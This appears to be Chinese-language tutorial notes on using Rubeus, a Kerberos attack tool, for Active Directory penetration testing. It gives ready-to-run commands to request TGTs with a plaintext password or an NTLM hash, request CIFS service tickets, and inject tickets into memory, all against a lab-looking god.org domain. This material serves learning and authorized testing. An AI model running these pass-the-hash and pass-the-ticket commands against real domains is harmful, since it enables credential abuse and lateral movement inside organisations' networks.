Rubeus

由C#语言编写的一款针对kerberos协议进行攻击的工具

GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.GitHub

原项目需要自行编译，比较麻烦，我们可以通过下面的仓库直接下载编译好的rubeus，该仓库且会持续更新。

GitHub - r3motecontrol/Ghostpack-CompiledBinaries: Compiled Binaries for GhostpackGitHub

申请TGT

Rubeus使用asktgt模块请求TGT，可以使用明文、密码哈希（DES加密和RC4加密）和AES Key（AES128和AES256）进行认证。可以将TGT以base64格式打印出来，也可以将TGT保存为文件，还可以将TGT直接导入到内存中。

asktgt模块有以下参数：

/user:USER 请求的用户名
</password:PASSWORD [/encrype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes:HASH>
凭据的格式：有明文密码、DES加密的Hash、NTLM Hash、AES128、AES256，以及加密的类型
[/domain:DOMAIN] 域名
[/dc:DOMAIN_CONTROLLER] 域控
[/outfile:FILENAME] 输出的文件
[/ptt] 将票据导入内存中
[/luid] 将生成的票据用于指定的登录会话（需要管理员权限）
[/nowrap] 打印出base64格式票据的显示格式更友好
[/nopac] 票据中不请求PAC

如果没有指定/domain参数，则默认使用主机当前域。如果没有指定/dc参数，则使用DsGetDcName函数来获取主机当前所在域的域控。

1. 明文密码请求

   Rebeus支持使用明文密码请求TGT。

#明文密码申请TGT，以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:liukaifeng01 /password:qazx123@ /nowrap /ptt
#明文密码申请TGT，将票据保存为ticket.kirbi文件，并导入内存中
Rubeus.exe asktgt /user:liukaifeng01 /password:qazx123@ /nowrap /ptt /outfile:ticket.kirbi

1. 密码hash请求

   Rebeus也支持使用密码hash请求TGT

#密码hash申请TGT，以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:liukaifeng01 /rc4:a48b07c2106a58ac00489d12bce39df1 /enctype:RC4 /nowrap /ptt
#将票据保存为ticket.kirbi文件，并导入内存中，此时不会以base64格式打印出来
Rubeus.exe asktgt /user:liukaifeng01 /rc4:a48b07c2106a58ac00489d12bce39df1 /enctype:RC4 /nowrap /ptt /outfile:ticket.kirbi

申请ST

Rubeus使用asktgs模块来申请ST，需要提供一张TGT，提供的TGT可以是base64格式的也可以是以kirbi结尾的票据文件。因此，需要先使用rubeus请求一张TGT，然后使用asktgs模块以该TGT请求指定服务的ST。可以将请求的ST以base64格式打印出来，也可以将ST保存为文件，也可以直接导入内存中。

asktgs有以下参数：

</ticket:BASE64 | /ticket:FILE.KIRBI> 票据文件
</service:SPN1,SPN2,...> 请求的服务
</enctype:DES|RC4|AES128|AES256 > 加密类型
</dc:DOMAIN_CONTROLLER> 域控
</outfile:FILENAME> 输出的文件
</ptt> 将票据导入到内存中
</nowrap> 打印出的base64格式票据显示的更加友好
</tgs:BASE64|/tgs:FILE.KIRBI> 指定生成base64格式的票据还是票据文件

请求ST

#使用保存的kirbi文件请求ST并导入到内存中
Rubeus.exe asktgs /service:"cifs/OWA.god.org" /nowrap /ptt /ticket:$kirbi格式的文件
#使用base64格式的TGR请求ST并导入到内存中
Rubeus.exe asktgs /service:"cifs/OWA.god.org" /nowrap /ptt /ticket:$base64格式的TGT

Rubeus导入票据

Rubeus还支持通过票据文件或base64格式的票据进行导入内存。也可以是其他工具请求的票据，只要是kirbi格式的就可以

Rubeus.exe ptt /ticket:$票据文件.kirbi
Rubeus.exe ptt /ticket:$base64格式的TGT票据

AS-REP Roasting攻击

详情参考：AS-REP Roasting

Kerberoasting攻击

详情参考：Kerberoasting

委派攻击

待写。。。。